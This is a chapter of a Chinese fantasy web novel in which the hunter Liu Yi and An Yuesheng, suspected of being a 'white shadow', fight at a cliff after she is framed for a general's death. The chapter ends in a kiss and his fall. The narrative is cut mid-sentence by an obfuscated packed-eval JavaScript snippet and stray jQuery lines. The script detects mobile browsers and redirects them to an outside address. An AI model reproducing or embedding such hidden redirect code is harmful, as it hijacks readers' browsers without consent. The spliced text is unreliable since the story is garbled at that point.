144. 再见,猎人先生

作品:《造物主悖论

    “柳异,我把回放修复好了。我目前只能修复几个重要场景的回放,不能完全恢复当时副本发生的一切。”


    “你……有空再看。”


    去完海边的两周后,柳异收到了莱布夜里发来的消息。


    那时候他在房间撸猫,听到消息后心里不自觉地紧张起来。手里加了力道捏疼了毛球,毛球生气“喵”地一声跑开了。


    柳异虚空打开屏幕,犹豫半晌,才点了播放。


    记忆里的钝痛,陌生又熟悉,像凶猛的海浪一样向他扑来。


    回放持续整整三小时。


    播放结束后,他在房间里像雕像一样安静地呆坐,直到早晨才愿意动身。


    一楼大厅没见到毛球和安月生,他慢吞吞地上了二楼,远远听到安月生和毛球说话。


    “你的铲屎官又怎么得罪你了?整晚都不肯跟他睡。”


    “要不你以后跟我吧?我保证把你养得白白胖胖。”


    今天阳光很好,安月生在晒被单。


    柳异拨开垂挂的白布,看到安月生的脸。


    她头上戴了一顶鸭舌帽,这是从海滩上买回来的,最近爱不释手。


    即使帽子遮挡,也挡不住她眉眼的明亮,像泛着月光的湖泊。


    清风轻抚她的头发,每一根发丝都在跳舞,像她一样那么有活力。


    绯红的脸颊带着笑容,毫不吝啬赠世界以温柔。


    如果阳光是无私的,怎么照在她脸上,就这般让人挪不开眼睛。


    “嗯?”


    安月生发现了柳异,柳异却越过她看到了绝望,痛苦的片段在脑海里再次浮现——


    “柳异,你还是那么可爱,又那么容易悲伤。”


    “虽然舍不得,可我还是得暂时把你一个人留在这世界。”


    “可能很孤单,但别怕。”


    “当你看到了月光,闻到丁香花的香气,碰到下雨天,或者听见像铃铛一样的声音……”


    “那都是我在对你说——我爱你。”


    最后的场景,他看着故三生用尽最后的金光,将半数的玛利亚军团扫平。


    未被波及的玛利亚前仆后继,将她埋在死亡的泥沼下啃咬。


    原来,人的身上可以流这么多血。


    原来,她是这般强悍,又这般脆弱。


    她不在了,即使别人多像她,也不是她。


    她回不来了。


    安月生察觉到柳异的异样,渐渐收起了笑容。


    在柳异还没察觉到自己将要落泪时,安月生脱下帽子,轻轻地放在了柳异头上,紧张地把帽子压得更低一些。


    “今天阳光很猛。你要晒太阳的话,就遮一下。”


    “我就不陪你了”


    安月生强颜欢笑,带着一箩筐衣服,与他擦肩而过。


    柳异,你又想她了吗?


    看来,今天的你特别想她,以至于你连自己哭出来都不知道。


    安月生苦笑,躲在楼梯的阴影下,隐约听到了颤抖的啜泣。


    “希望你离开后,能快点忘掉她。”


    “我也会快点忘了你。”


    *****


    自那天起,柳异闷在房间里,一天都不出来一次,好像全然忘记自己是来监察嫌疑人的。


    安月生去恋姐旅馆前,还特地敲房门提醒他:“柳异,我出门打菜回来,等下我们一起吃点东西好吗?”


    柳异没有声响,安月生佯装威胁:“那我出门了哦,你没监察到位,可别赖我。”


    柳异仍然没有回应。


    “我还上赶着被他监察,我真是个弱智。”


    安月生气鼓鼓“哼”了一声,离开了家。


    一路走到恋姐旅馆,安月生闷闷不乐。彭恋看出端倪,提着烟枪问道:“怎么?你男人气你了?”


    安月生苦笑一声,坐在吧台的椅子上,托着下巴道:“他要是我男人就好了。”


    “你是失恋了?”


    安月生扁着嘴巴,伏在吧台面前:“算是暗恋吧。”


    “造孽啊。”彭恋“啧”了一声,“哦,对了月生。今天有人给你留了封信,在柜台的信件篓里,你自己找。”


    “哦。”安月生在篓里找了一会儿,终于看到一封只写了收件人的信,连邮票都没有。


    “什么东西?”


    安月生打开了信件,里面写着——


    “你是白影吧?”


    “今晚21:00来无限竞技场。”


    “不然,你的同伴会死在我手里。”


    安月生紧张从椅子上站了起来,她盘算着各种可能,最终推理出答案。


    信里提到了白影,再联系无限竞技场,很有可能是违规研究白影的那帮人搞的鬼。


    虽然来者不善,但她也不是善茬。


    安月生借了彭恋的电话,给荧通风报信——


    “有麻烦了。”


    ……


    昏暗的房间,柳异听到A-EYE的警报在响。


    他终于动了动,虚空划出屏幕点了几下,看到寻踪蝶标志的光点,正朝着无限竞技场的方向走去。


    柳异皱眉,心里皆是疑虑,穿上外套出了门。


    今日夜里雾霾重重,空气里充满压抑。他回驻西军机处找了一辆公用汽车,开往无限竞技场。


    光点标志停在了厨房。


    无限竞技场的厨房已经被查封了,到底有什么东西值得安月生去一趟?


    等他提着手电筒,在厨房看到安月生的一刹那,他瞬间一愣。


    安月生满身是血,地上是一具尸体,里面露出一个人的面容。


    是王将军的尸体。


    柳异沉眸,愤怒地喊了一句:“安月生!”


    安月生惊恐抬眼,看了看自己浑身是血的双手和身体,辩解道:“不是,不是你看到的那样的……”


    安月生看到了柳异的眼神。


    那是第一天他们相遇时,柳异就有过的眼神。


    他想杀了她。


    安月生唤醒求生的本能,夺命逃跑,几枪弹药将要落在她身上,被她躲避过了。


    柳异看一击不成,追了过去。


    没有抓钩枪,安月生的逃跑没有了优势。安月生在逃跑时中了一枪擦伤,她摸着出血的肩膀漫无目的地乱逃,没曾想被逼到一处悬崖边缘。


    底下是蜿蜒的内河,摔下去不一定能有活路。


    安月生看无路可逃,缓缓转身,绝望地看向柳异:“你是不是,不愿相信我?”


    “你伪装得很好,我查不了你任何觅食的证据,你的能量又那么特殊。”柳异举着枪,嘲讽道,“我居然渐渐忘了。白影无论怎么样,都不可能作为一个普通人类存活。”


    柳异握枪的手,微不可闻地颤抖。


    他定了定神,道:“你是最后一个了。”


    “是啊,我是最后一个了。”安月生从苦笑变为愤恨,“那你来吧,来看看我们到底谁先死。”


    安月生滑出匕首,向着柳异猛攻过来。


    柳异格挡住安月生迅猛的攻势,两人开始拆招。


    他们对战过多回,也合作过多回,他们都研究过彼此的招。


    安月生灵活多变,柳异稳当从容。迥异的路数,谁也占不了谁的便宜。


    两人旗鼓相当,只不过柳异在正面近战更有优势,她没有抓钩枪也失去灵活性。


    柳异直入安月生的攻防范围,安月生猝不及防,本想后退防守,却不曾被柳异箍住了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16737143|175464||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    腰,抱在怀里。


    在安月生愣神之际,柳异左手从腰间滑出双生刺,举了起来。


    双生刺利刃在月光下露出锋芒,对准了安月生的心脏。


    “别怕,我很快就会来陪你。”


    柳异的声音格外温柔,隐隐藏着一丝危险的癫狂。


    生死一瞬,安月生亮起了金眸。


    下一秒,柳异身上武器全部消失,他发现自己落在一个雾霾沉沉的空间里。


    “这是……”


    突然,安月生从柳异身后出现,在柳异转身的一瞬,精准掐住了他的脖子。


    安月生本不应该有这么大的力气,可现在的她,似乎可以一只手掐死柳异。


    “不是我杀的王将军!”


    “你为什么非得要我死?”


    “为什么?!”


    柳异说不出一句话,难以置信盯着安月生,喑哑道:“这是——什么?”


    “我的意识空间,无尽领域。”


    柳异渐渐睁大眼睛,眸里进了光芒


    “在我的地方,你伤不了我,我却可以随时把你杀死。”


    柳异放弃挣扎,眼前发黑,涨红了脸。


    安月生一怔,意识到自己太过愤怒,随即松了力道,颓然地垂下胳膊。


    柳异退后两步,弓着腰猛烈地呛咳起来。


    安月生定定凝视着狼狈的柳异:“柳异,为什么要让我遇到你?”


    柳异呼吸带着颤声,红着一双眼看向安月生。


    “是啊,我早就该醒悟了。你是猎人,我是猎物,本就是你死我活的关系。”


    “我却因为那短暂的相处,彻底忘记了这件事。”


    “可是,我真的好疼!”


    安月生嘶声力竭地哭着,握着拳头,捶着自己的胸口。


    “明知道不该喜欢你,可我还是阻止不了这颗心落到你那里去。”


    “为什么!”


    柳异目不转睛地盯着安月生,纵容她发脾气。


    “柳异,你听着。”安月生愤恨地抬起头,“即使我有那么多的喜欢你,我也不会为了你死的。”


    “我要继续活下来,找到我自己存在的意义。”


    “我不是白影,更不是你爱的那个她。”


    “我只想做永远的安月生。”


    柳异抿唇,眼角划过眼泪,勉力露出笑容,沙哑地回答:“好。”


    安月生靠近柳异,抬手抹过柳异的眼泪,摸着他的脸。


    “我会一直活着。”


    “如果还想杀我,尽管来。”


    “我等着你。”


    如果这是最后一次见面。


    或许,她可以再任性一次吧。


    安月生凑近柳异,拉着他的后颈,踮脚吻上他的唇。


    柳异抱住安月生,热烈地回应她,比安月生更有占有欲。急促的呼吸,交融在带着腥味的吻里,甜与苦充斥着神经。


    两人心里的渴望隐忍已久,才得来这一次放肆的结果。


    即使知道这一切都并不是正确的,而此刻只想交给心底那本能的爱意。


    呼吸几近殆尽,安月生率先抽身,把柳异推开。


    柳异怅然若失,定定看着安月生。


    安月生勉力扯出一丝笑:“再见了,猎人先生。”


    等柳异再次回过神来,他意识到什么,让双生刺生生地偏了向。


    安月生用力把柳异推开,柳异身后就是悬崖。


    柳异一下失重,从悬崖坠落,安月生诧异地看着柳异坠落。


    这样也好。


    一切都值得的。


    柳异看着渐渐远离的安月生,闭起了双眼。


    水流闷闷地灌入耳边,他瞬间失去了意识。